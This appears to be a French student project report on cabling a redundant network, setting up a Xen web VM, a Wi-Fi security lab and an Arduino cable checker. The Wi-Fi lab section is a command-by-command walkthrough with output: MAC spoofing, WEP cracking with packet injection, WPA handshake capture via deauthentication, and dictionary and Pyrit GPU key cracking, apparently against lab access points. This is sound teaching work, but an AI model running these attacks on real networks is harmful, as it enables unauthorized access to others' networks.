PRA 2015 - Câblage d'un réseau redondant
Sommaire
Introduction
Le Projet de Réseau et Administration (PRA) se découpe en deux parties. La première consiste à réaliser le câblage de l'infrastructure et la deuxième à traiter la partie commune du PRA.
Câblage du résau
Le réseau idéal
Le but de ce projet est de câbler un réseau redondant permettant la mise en place d'une infrastructure réseau haute disponibilité. L'architecture du réseau est donnée sur le diagramme suivant.
Quatre liaison fibre assure la robustesse du système (ainsi que son débit). Les fibres 1 et 4 sont reliés depuis un commutateur PolytechLille (considéré comme sortie Internet). Ces fibres permettent d'assurer un débit de 10 Gygabytes. Les fibres 2 et 3 assurent la redondance du système et permettent aux switch de récupérer un débit de 1 Gygabyte auprès des routeurs. Les routeurs et switch d'une même salle (E304 ou E306) sont cablés à l'aide de câbles cuivrés sur des interfaces Gygabytes. Enfin, le serveur Xen est relié au deux switchs à l'aide de câbles cuivrés 1 Gygabyte. Cette architecture permet d'assurer qu'en cas d'un câble défectueux, le réseau continue de fonctionner correctement.
L'avancement du cablage du réseau
L'image suivante détaille l'état du réseau avant le 07/10/2015.
Au début du PRA, nous ne disposions pas de l'intégralité du matériel. Par conséquent nous avons mis en place un réseau dégradé permettant aux autres groupes de travailler sur leur projet. Nous avons donc utilisé un des cartes 1 Gigabyte pour relier la routeur de la salle E306 à notre arrivée Internet, rendant l'utilisation de la fibre D du fait du faible nombre de GBIC 1 Gigabyte. De plus, comme il nous manquait un raccord de fibre pour la fibre B, nous avons utilisé un câble cuivré pour lier le routeur de la E306 au switch de la E304. La liaison au Xen était donc assuré par un seul lien cuivré entre celui-ci et le switch de la E306.
La partie commune
Création d'un site Web haute disponibilité
Installation de la machine virtuelle
D'après notre sujet, notre site Web devait être hébergé sur une machine virtuelle fonctionnant sur le serveur que nous avions rendu redondant précédemment. Nous avons donc commencé par créé cette machine virtuelle, nommée "kwak". Notre hôte est un serveur Xen 3.0.
# cat /etc/xen/kwak.cfg kernel = '/boot/vmlinuz-3.14-2-amd64' extra = 'elevator=noop' ramdisk = '/boot/initrd.img-3.14-2-amd64' vcpus = '1' memory = '512' root = '/dev/xvda2 ro' disk = [ 'file:/usr/local/xen/domains/kwak/disk.img,xvda2,w', 'file:/usr/local/xen/domains/kwak/swap.img,xvda1,w', ] name = 'kwak' vif = [ 'ip=193.48.57.167 ,mac=00:16:3E:FF:C3:C5 ,bridge=IMA5sc' ] on_poweroff = 'destroy' on_reboot = 'restart' on_crash = 'restart'
Ensuite, nous démarrons notre machine virtuelle.
# xl create /etc/xen/kwak.cfg
Nous nous connectons alors à la machine (soit en ssh soit avec la console Xen).
# xl console kwak
Enfin, nous installons les services dont nous allons avoir besoin par la suite.
# apt-get install apache2 bind
Mise en place du service web
Tests de sécurisation de réseaux WiFi
Accès par filtrage MAC
Nous avons commencé par effectué une connexion sur un point d'accès WiFi fonctionnant par filtrage MAC en ayant notre adresse MAC autorisée sur la borne. Nous avons donc configuré notre interface pour se connecter au WiFi, utiliser une IPv4 libre sur le réseau, installer le routage pour pouvoir pinger la passerelle et enfin accéder à Internet.
La deuxième partie consiste à s'authentifier sur un réseau sécurisé par filtrage MAC, mais cette fois-ci sans avoir son adresse autorisé sur le point d'accès. Pour cela nous allons faire du sniffage du réseau WiFi en question. Nous commençons par passer la carte WiFi en mode monitoring.
airodump-ng start wlan0
Ensuite, nous avons surveillé le réseau WiFi, nommé "baguette"
airodump-ng --essid baguette wlan0mon CH 13 ][ Elapsed: 0 s ][ 2015-10-22 13:26 BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID C4:14:3C:40:78:60 -63 9 0 0 4 54e. OPN baguette
On spécifie alors le canal et le BSSID à utiliser pour plus de précision.
airodump-ng --essid baguette wlan0mon CH 4 ][ Elapsed: 18 s ][ 2015-10-22 13:29 BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID C4:14:3C:40:78:60 -52 100 146 1 0 4 54e. OPN baguette BSSID STATION PWR Rate Lost Frames Probe C4:14:3C:40:78:60 00:15:AF:E7:19:F3 -59 0 - 5e 0 1
Dès qu'un client se connecte, il est possible de lui voler son adresse MAC (ici, 00:15:AF:E7:19:F3) et de se connecter sur le point d'accès avec la commande suivante.
ifconfig wlan1 hw ether C4:14:3C:40:78:60
Accès par filtrage WEP
Par la suite, nous avons tenté de nous authentifier sur un point d'accès filtré par une clé WEP 128 bits. Nous avons donc commencé par passer l'interface WLAN en mode monitoring.
#airmon-ng PHY Interface Driver Chipset phy1 wlan3 rt2500usb D-Link Corp. AirPlus G DWL-G122(rev.B1) [Ralink RT2571] #airmon-ng start wlan3 PHY Interface Driver Chipset phy1 wlan3 rt2500usb D-Link Corp. AirPlus G DWL-G122(rev.B1) [Ralink RT2571] (mac80211 monitor mode vif enabled for [phy1]wlan3 on [phy1]wlan3mon) (mac80211 station mode vif disabled for [phy1]wlan3)
L'interface wlan3mon est maintenant disponible pour l'attaque. Nous passons maintenant au scan.
#airodump-ng wlan3mon CH 9 ][ Elapsed: 0 s ][ 2015-11-12 11:58 BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID 00:23:5E:1E:05:48 -57 2 0 0 7 54e. OPN cracotte09 00:23:5E:1E:05:41 -56 3 0 0 7 54e. WEP WEP cracotte02 00:23:5E:1E:05:45 -57 3 22 0 7 54e. WEP WEP cracotte06 00:23:5E:1E:05:44 -56 2 19 0 7 54e. WEP WEP cracotte05 00:23:5E:1E:05:47 -55 3 42 0 7 54e. WEP WEP cracotte08 00:23:5E:1E:05:46 -55 1 67 0 7 54e. WEP WEP cracotte07 00:23:5E:1E:05:42 -56 2 67 0 7 54e. WEP WEP cracotte03 00:23:5E:1E:05:40 -57 2 98 0 7 54e. WEP WEP cracotte01 00:23:5E:1E:05:43 -58 4 99 0 7 54e. WEP WEP cracotte04 BSSID STATION PWR Rate Lost Frames Probe 04:DA:D2:CF:01:90 48:5A:3F:4C:37:61 -1 1e- 0 0 2 00:23:5E:1E:05:45 00:0F:B5:92:23:74 -64 54e-48e 2 21 00:23:5E:1E:05:44 00:0F:B5:92:23:6B -65 48e- 2e 89 9 00:23:5E:1E:05:47 00:0F:B5:92:23:71 -67 54e-54e 39 37 00:23:5E:1E:05:46 00:0F:B5:92:23:69 -63 48e-54e 6 63 00:23:5E:1E:05:42 00:0F:B5:92:23:6A -60 48e-54e 9 59 00:23:5E:1E:05:40 00:0F:B5:92:22:68 -55 36e-48e 9 94 00:23:5E:1E:05:43 00:0F:B5:92:23:75 -58 48e- 2e 145 93
Notre cible étant le réseau "cracotte07", nous spécifions donc le canal et l'ESSID
#airodump-ng --essid cracotte07 --channel 7 -w dmp wlan3mon CH 7 ][ Elapsed: 3 mins ][ 2015-11-12 12:03 BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID 00:23:5E:1E:05:46 -64 17 1603 46339 201 7 54e. WEP WEP cracotte07
Le monitoring du réseau est donc lancé. Pendant ce temps, nous lançons le décryptage avec aircrack.
#aircrack-ng *.cap Opening dmp-01.cap Read 110082 packets. # BSSID ESSID Encryption 1 00:23:5E:1E:05:46 cracotte07 WEP (6190 IVs) Choosing first network as target. Opening dmp-01.cap Attack will be restarted every 5000 captured ivs. Starting PTW attack with 6258 ivs.
Ensuite, nous générons plus de flux à l'aide de aireplay.
#aireplay-ng -5 -e cracotte07 wlan3mon No source MAC (-h) specified. Using the device MAC (00:11:95:E5:0D:F0) 12:02:11 Waiting for beacon frame (ESSID: cracotte07) on channel 7 Found BSSID "00:23:5E:1E:05:46" to given ESSID "cracotte07". 12:02:11 Waiting for a data packet... Size: 70, FromDS: 0, ToDS: 1 (WEP) BSSID = 00:23:5E:1E:05:46 Dest. MAC = FF:FF:FF:FF:FF:FF Source MAC = 00:0F:B5:92:23:69 0x0000: 8841 2c00 0023 5e1e 0546 000f b592 2369 .A,..#^..F....#i 0x0010: ffff ffff ffff c014 0000 f898 0e00 8065 ...............e 0x0020: 7e87 af6b e679 211e c9d6 1665 0b4f 7e2d ~..k.y!....e.O~- 0x0030: 6cf8 2da9 f0f8 3f96 d831 539a 2f9e ef35 l.-...?..1S./..5 0x0040: b7bd 03c5 5093 ....P. Use this packet ? y Saving chosen packet in replay_src-1112-120211.cap 12:02:13 Data packet found! 12:02:13 Sending fragmented packet
Et enfin, aircrack trouve la clé.
Aircrack-ng 1.2 rc2 [00:02:12] Tested 853 keys (got 40800 IVs) KB depth byte(vote) 0 0/ 9 55(53248) FD(49664) 1F(47872) 7E(47616) 11(47360) D9(47360) F5(46848) 58(46592) 1E(46336) EE(46336) B0(46080) 20(45824) 93(45824) CD(45824) 0A(45568) 81(45568) 1 0/ 1 52(61952) 07(50176) 1E(49152) E4(49152) 11(48640) 38(48640) 5F(48640) 33(48128) A7(47360) AB(47360) 46(47104) E1(47104) ED(47104) 20(46848) 23(46592) 4D(46592) 2 0/ 1 55(60160) 27(47872) 3A(47616) 3D(47616) 45(47616) C4(47616) 05(47360) 70(47104) 99(47104) 4D(46336) E1(46336) 23(46080) 69(46080) 83(46080) 31(45824) 6A(45824) 3 13/ 3 79(46848) 2C(46592) 5E(46592) 1E(46080) 34(46080) 03(45824) 12(45824) 08(45568) AD(45568) B9(45568) 64(45312) 9B(45312) CE(45312) FB(45312) 74(44800) C0(44800) 4 1/ 4 CB(48896) 12(47872) 22(47872) E0(47872) FE(47872) 98(47360) ED(47360) 60(46848) 78(46848) 96(46848) 9A(46848) 6C(46592) 21(46080) 38(46080) A1(46080) 16(45824) KEY FOUND! [ 55:55:55:55:55:55:55:55:55:51:11:11:11 ] Decrypted correctly: 100%
Accès par filtrage WPA
L'accès à un réseau protégé par une clé WPA est plus complexe car aircrack n'est pas capable de trouver la clé par ses propres moyens. Il est nécessaire de lui fournir un dictionnaire contenant la clé de réseau pour espérer pouvoir s'y connecter. Nous avons donc commencé par générer un dictionnaire comprenant certaines clés (dans notre cas, tout les nombres à 8 chiffres). Le script Perl générant le dictionnaire est le suivant.
#!/usr/bin/perl my $ite = 0; my $max = 1000000; my $outp; my $tmp; for (my $j=0; $j < 100; $j++) { $tmp = sprintf("[%02d]\n", $j); print STDERR $tmp; for (my $i=0; $i < ($max); $i++) { $outp = sprintf("%08d\n", $ite); $ite++; print $outp; } }
Nous lançons donc la génération avec la commande
# ./gen.pl > dic.txt
Le dictionnaire est ainsi généré. Cependant, la taille du dictionnaire est légèrement importante.
859M -rw-r--r-- 1 root root 859M nov. 13 09:41 dic.txt
Ensuite, après avoir passé l'interface en mode monitoring (de la même façon que pour les attaques précédentes), nous lançons notre surveillance du réseau "Almost Secure WiFi".
# airodump-ng --channel 6 --essid "Almost Secure WiFI" -w dmp wlan1
Puis, nous désauthentifions les clients déjà connectés pour récupérer le "handshake" qui permettra le décryptage de la clé.
# aireplay-ng -0 5 -e "Almost Secure WiFI" wlan1
Une fois la désauthentification envoyée, nous récupérons le "handshake" durant la reconnection des clients.
# aircrack-ng *.cap Opening dmp-01.cap Read 2370 packets. # BSSID ESSID Encryption 1 00:13:46:79:6A:1C Almost Secure WiFI WPA (1 handshake)
Attaque par dictionnaire
A partir du moment où nous disposons du "handshake", deux options s'offrent à nous. La première consiste à réaliser une attaque par dictionnaire (celui que nous avons généré). Commençons donc par cette attaque.
# aircrack-ng -w dico.txt *.cap Aircrack-ng 1.2 beta3 [00:58:30] 12121212 keys tested (3659.24 k/s) KEY FOUND! [ 12121212 ] Master Key : 8E 68 0C AB 07 0F F7 AD 0D 6A 04 A0 DB F5 A0 62 F8 39 26 F0 B4 C2 42 23 9E 11 5A 6B E2 39 A3 45 Transient Key : CE 6D 03 71 74 1D 39 B3 35 8A 24 D5 7D 39 76 DF 68 5B D5 CC 79 C5 6F 64 A3 A9 84 D2 36 19 7A F8 45 70 AF 3E 41 15 86 E3 2F 8C 5E 2E 5C F8 98 28 A6 FC DE 27 68 50 07 55 77 6F 83 9D B3 44 32 7E EAPOL HMAC : 8D 45 38 2F 02 E5 F9 0B 4B 92 EB E9 6B FF B6 EE
Cete attaque, bien que parfaitement fonctionnelle, ne permet pas d'obtenir la clé rapidement. La vitesse de test des clés est fixe et ne dépend que de la performance du processeur. Dans notre cas (Intel i5-2400 @ 3.1 GHz) notre vitesse de test est de 3600 clés par seconde.
Attaque par Rainbow Tables
Pour réaliser l'attaque par par rainbow table, nous utiliserons le logiciel PyRit. C'est un logiciel codé en Python qui permet l'attaque de PMK (qui donne le mot de passe du réseau WiFi) plus efficacement que Aircrack. En attaque par dictionnaire classique, sur matériel équivalent (c'est à dire Intel i5-2400 @ 3.1 GHz), PyRit est légérement plus performant que Aircrack en passant d'une moyenne de 3600 PMK/s à 5200 PMK/s. L'intérêt d'utiliser une "rainbow table" est de générer une table valable pour un seul SSID (voir la partie suivante) qui permettra de comparer les PMK plus rapidement. Pour cela, nous allons commencer par ajouter le nom de notre réseau WiFi (aussi appelé ESSID) à PyRit.
# pyrit -e 'Almost Secure WiFI' create_essid Pyrit 0.4.0 (C) 2008-2011 Lukas Lueg http://pyrit.googlecode.com This code is distributed under the GNU General Public License v3+ Connecting to storage at 'file://'... connected. Created ESSID 'Almost Secure WiFI'
Ensuite, nous ajoutons le dictionnaire qui permettra la génération de la "rainbow table". On remarqera que cette étape prend entre 5 à 10 secondes.
# pyrit -i ./dic.txt import_passwords Pyrit 0.4.0 (C) 2008-2011 Lukas Lueg http://pyrit.googlecode.com This code is distributed under the GNU General Public License v3+ Connecting to storage at 'file://'... connected. 100000000 lines read. Flushing buffers... .. All done.
Maintenant, nous devons générer la "rainbow table". Cette partie est extrêmement longue et utilise le processeur au maximum de ses possibilités. Il est important de noter que pendant cette phase, le processeur chauffe énormément, une bonne ventilation du PC est donc obligatoire.
# pyrit batch Pyrit 0.4.0 (C) 2008-2011 Lukas Lueg http://pyrit.googlecode.com This code is distributed under the GNU General Public License v3+ Connecting to storage at 'file://'... connected. Working on ESSID 'Almost Secure WiFI' Processed 3/1536 workunits so far (0.2%); 5174 PMKs per second.
On voit que PyRit calcule les PMK à 5200 clés par secondes. Bien que plus importante qu'avec Aircrack, cette vitesse reste assez faible. Pour augmenter la vitesse de calcul, nous allons utiliser la carte graphique disponible dans l'ordinateur. Pour cela, nous avons installer les drivers nécessaires et ajouté les outils Cuda pour que la carte graphique (NVidia GTX 560) puisse effectuer les calculs. Nous avons donc effectué un court benchmark pour constater les améliorations des performances.
# pyrit benchmark Pyrit 0.4.0 (C) 2008-2011 Lukas Lueg http://pyrit.googlecode.com This code is distributed under the GNU General Public License v3+ Running benchmark (25147.5 PMKs/s)... \ Computed 25147.53 PMKs/s total. #1: 'OpenCL-Device 'GeForce GTX 560'': 23696.7 PMKs/s (RTT 2.8) #2: 'CPU-Core (SSE2)': 983.3 PMKs/s (RTT 3.0) #3: 'CPU-Core (SSE2)': 975.5 PMKs/s (RTT 3.0) #4: 'CPU-Core (SSE2)': 972.8 PMKs/s (RTT 3.0)
Avec une vitesse de 25000 PMK/s, nous lançons la génération de la "rainbow table" qui prendra environ une heure.
# pyrit batch Pyrit 0.4.0 (C) 2008-2011 Lukas Lueg http://pyrit.googlecode.com This code is distributed under the GNU General Public License v3+ Connecting to storage at 'file://'... connected. Working on ESSID 'Almost Secure WiFI' Processed 95/1536 workunits so far (6.2%); 26045 PMKs per second.
Maintenant que la "rainbow table" est générée, nous lançons l'attaque.
# pyrit -r *.cap attack_batch Pyrit 0.4.0 (C) 2008-2011 Lukas Lueg http://pyrit.googlecode.com This code is distributed under the GNU General Public License v3+ Connecting to storage at 'file://'... connected. Parsing file 'dmp-01.cap' (1/1)... Parsed 270 packets (270 802.11-packets), got 1 AP(s) Picked AccessPoint 00:13:46:79:6a:1c ('Almost Secure WiFI') automatically. Attacking handshake with station 00:0c:e7:41:68:29 Tried 6001009 PMKs so far (5.9%); 11875239 PMKs per second The password is '12121212'.
Le mot de passe est alors affiché. Le temps nécessaire à l'obtention de la clé est d'une quinzaine de secondes. La vitesse de calcul des PMK est en moyenne de 7 millions de PMKs par secondes avec des pics à 11 millions de PMKs par secondes lors de l'accès à des zones du disque en cache. L'attaque par "rainbow tables" est donc largement plus performante.
Algorithme de génération de PMK
Pour trouver le mot de passe d'un réseau WiFi protégé par du WPA, il est nécessaire de générer la PMK (Pairwise Master Key) correspondant au nom du réseau WiFi ciblé. En effet, l'algorithme de génération de la PMK (nommé PBKDF2) prend comme salage l'ESSID.
PMK = PBKDF2(HMAC-SHA1, PASSWORD, ESSID, 4096, 256)
La fonction PBKDF2 (dont le nom complet est Password-Based Key Derivation Function 2) est une fonction de dérivation de clés publié par le laboratoire PKCS des laboratoires RSA. Elle est aussi maintenue par le RFC 2898 de l'IETF. Cette fonction s'utilise en combinaison d'une autre fonction. Cette autre fonction doit être de type pseudo-aléatoire pour permettre la création de clés cryptographiques. Les paramètres de cette fonction PBKDF2 sont donc:
- [PRF] La fonction pseudo-aléatoire (ici HMAC-SHA1)
- [PASSWORD] Le mot de passe
- [SALT] Le salage (ici l'ESSID)
- [COUNT] Le nombre d'itération de la fonction PBKDF2 (ici 4096)
- [LEN] La longueur du résultat de la fonction (ici 256)
La résultat de la fonction est le résultat de la succession d'opération XOR, un nombre de fois déterminé par COUNT, à travers l'algorithme PFR.
PBKDF2(PRF, PASSWORD, SALT, COUNT, LEN) = U1 ^ U2 ^ ... ^ Ucount
Où les "Un" sont égales à: (ici, IMT_32_BE est la valeur de LEN convertie sur un INT codé sur 32 bits en Big Endian.
U1 = PRF(PASSWORD, SALT || INT_32_BE(LEN)) U2 = PRF(PASSWORD, U1) ... Uc = PRF(PASSWORD, Ucount-1)
Maintenant, intéressons nous à la PRF, ici la fonction HMAC-SHA1. Elle est composée de deux fonctions: HMAC et SHA1. Nous traiterons le SHA1 par la suite. La fonction HMAC de son vrai nom keyed-Hash Message Authentication Code) permet de vérifier l'authenticité et l'intégrité d'un message. Elle est maintenue par le RFC 2104 de l'IETF Elle se repose elle aussi sur une autre fonction pour assurer son fonctionnement (comme le PBKDF2). Cependant, la fonction cryptographique utilisé n'influe pas sur sa capacité à vérifier l'authenticité et l'intégrité d'un message. Les paramètres de la fonction HMAC sont les suivants:
- [KEY] la clé utilisée pour encoder le message
- [MSG] le message à encoder
- [H] la fonction qui va être utilisé pour encoder le message (ici, nous utiliserons SHA1)
- [HLEN] le longueur du résultat fourni par H (dans notre cas HLEN vaut 64 octets)
Le principe de fonctionnement est le suivant:
function HMAC(KEY, MSG, H, HLEN) if(length(KEY) > HLEN) KEY = H(KEY) // Si la clé est trop grande, elle est réduite par H if(length(KEY) < HLEN) KEY = KEY || (0x00 * (HLEN - LENGTH(KEY))) opad_key = (opad * HLEN) ^ KEY; ipad_key = (ipad * HLEN) ^ KEY; return H(opad_key || H(ipad_key || MSG)
Dans cette fonction:
- L'opérateur || désigne la concaténation directe tel que "J'aime le"||" poulet" est égale à "J'aime le poulet"
- L'opérateur * désigne la répétition de l'élément tel que "J"*4 est égale à "JJJJ"
- L'opérateur ^ désigne l'opérateur XOR logique
- La variable opad est une constance valant 0x5C
- La variable ipad est une constance valant 0x36
Finalement, intéressons nous à la fonction SHA1. Celle-ci a été développé par la National Security Agency (NSA). C'est une fonction (ou algorithme) dit asymétrique: c'est à dire que l'argument qui lui est passé ne peut pas être retrouvé à l'aide du résultat. La fonction ne prend donc qu'un seul paramètre.
function SHA1(PASS) h0 = 0x67452301 h1 = 0xEFCDAB89 h2 = 0x98BADCFE h3 = 0x10325476 h4 = 0xC3D2E1F0 ml = message length in bits (always a multiple of the number of bits in a character). append the bit '1' to the message e.g. by adding 0x80 if message length is a multiple of 8 bits. append 0 ≤ k < 512 bits '0', such that the resulting message length in bits is congruent to −64 ≡ 448 (mod 512) append ml, in a 64-bit big-endian integer. Thus, the total length is a multiple of 512 bits. break message into 512-bit chunks for each chunk break chunk into sixteen 32-bit big-endian words w[i], 0 ≤ i ≤ 15 //Extend the sixteen 32-bit words into eighty 32-bit words: for i from 16 to 79 w[i] = (w[i-3] xor w[i-8] xor w[i-14] xor w[i-16]) leftrotate 1 //Initialize hash value for this chunk: a = h0 b = h1 c = h2 d = h3 e = h4 //Main loop for i from 0 to 79 if 0 ≤ i ≤ 19 then f = (b and c) or ((not b) and d) k = 0x5A827999 else if 20 ≤ i ≤ 39 f = b xor c xor d k = 0x6ED9EBA1 else if 40 ≤ i ≤ 59 f = (b and c) or (b and d) or (c and d) k = 0x8F1BBCDC else if 60 ≤ i ≤ 79 f = b xor c xor d k = 0xCA62C1D6 temp = (a leftrotate 5) + f + e + k + w[i] e = d d = c c = b leftrotate 30 b = a a = temp //Add this chunk's hash to result so far: h0 = h0 + a h1 = h1 + b h2 = h2 + c h3 = h3 + d h4 = h4 + e //Produce the final hash value (big-endian) as a 160 bit number: hh = (h0 leftshift 128) or (h1 leftshift 96) or (h2 leftshift 64) or (h3 leftshift 32) or h4
La partie bonus
Nous souhaitions faire une petite partie bonus en plus du câblage. Nous avons donc décidé de réaliser un CiscoChecker permettant de tester toutes les connexion de notre réseau et de nous indiquer si un câble est défectueux ou débranché.
Pour cela nous utilisons un arduino auquel nous avons ajouté un écran LCD ainsi qu'un lecteur de carte SD.
Utilisation de l'écran LCD
Afin d'afficher les résultats de notre test de connexion nous utilisons un shield LCD de chez Sparkfun. Ce dernier nous permettant uniquement de changer la couleur de l’écran complet ou de modifier pixel par pixel. Nous avons donc eu à créer notre propre police d'écriture et à coder tous les caractères pixel par pixel.
Pour cela nous avons choisi de créer des tableaux de caractères pour stocker les pixels correspondants à chaque lettre puis un tableau regroupant toutes nos lettres. Ces données étant trop volumineuses pour être stockées au sein de la mémoire flash de l'arduino, nous les stockons dans la RAM.
Chaque lettre est donc un tableau de caractère dans lequel nous stockons les pixel à changer pour faire notre lettre. Ces lettres sont codées suivant une matrice de 16x8 pixels que nous représentons sous la forme suivante : YX.
Ou Y est la position suivant y du pixel codée en hexa et X est la position suivant x, l'origine étant choisie en haut à gauche de la matrice.
Voici à quoi ressemble une de nos lettres :
const char letter_A[] PROGMEM = { 0x13,0x22,0x24,0x31,0x35,0x41,0x45,0x50,0x56,0x60, 0x66,0x70,0x71,0x72,0x73,0x74,0x75,0x76,0x80,0x81, 0x82,0x83,0x84,0x85,0x86,0x90,0x96,0xA0,0xA6,0xB0, 0xB6,0xC0,0xC6,0xD0,0xD6,0xE0,0xE6,0x00};
Nous avons ensuite une fonction getIndex qui va, pour chaque lettre lue, renvoyer l'index de ce caractère dans notre tableau de lettres afin de pouvoir l'afficher.
Une fois toutes les lettres réalisées il suffit juste de stocker en variables globales la position actuelle en X et en Y et de l'incrémenter à chaque fois que l'on écrit une lettre sans oublier de prendre en compte le retour à la ligne.
Pour le retour à la ligne nous souhaitions avoir un défilement classique de notre texte qui se décale à chaque nouvelle ligne, mais cette méthode demandant de stocker le texte affiché à l'écran est trop gourmande en mémoire. Donc nous nous contentons d'effacer l'écran lorsque l'on arrive au bout.
Utilisation du lecteur de carte SD
Nous avons besoin d'utiliser une carte SD afin de stocker la configuration de notre réseau, c'est à dire comment sont connectés les câbles au sein de notre réseau. Pour cela on utilise un shield SD de chez Sparkfun.
Après s’être documenté, nous avons choisi de réaliser cette partie à l'aide de l'IDE arduino. Nous voulons utiliser l'IDE arduino car bien que les cartes SD utilisent une communication en SPI ce qui est assez simple à réaliser en C. Lorsque l'on souhaite envoyer des commandes à notre carte SD il faut respecter les spécifications SD qui sont assez complexes. N'ayant trouvé aucune librairie sur le net nous avons choisi de ne pas le faire en C par manque de temps.
Nous utilisons donc un simple programme arduino afin de lire des fichiers présents sur la carte SD.
Communication avec le matériel Cisco
Afin de pouvoir tester le réseau notre CiscoChecker doit être connecté via port série à un élément Cisco du réseau. Or nous avons rencontré des problèmes lors de cette communication car ces deux appareils travaillent avec des tensions différentes. Pour régler ce problème nous avons réalisé carte électronique permettant la conversion de cette tension à l'aide d'une puce MAX232N.
Réalisation du code pour les appareil Cisco
La dernière partie consiste à réaliser le code Cisco permettant de tester les connexions de notre réseau redondant.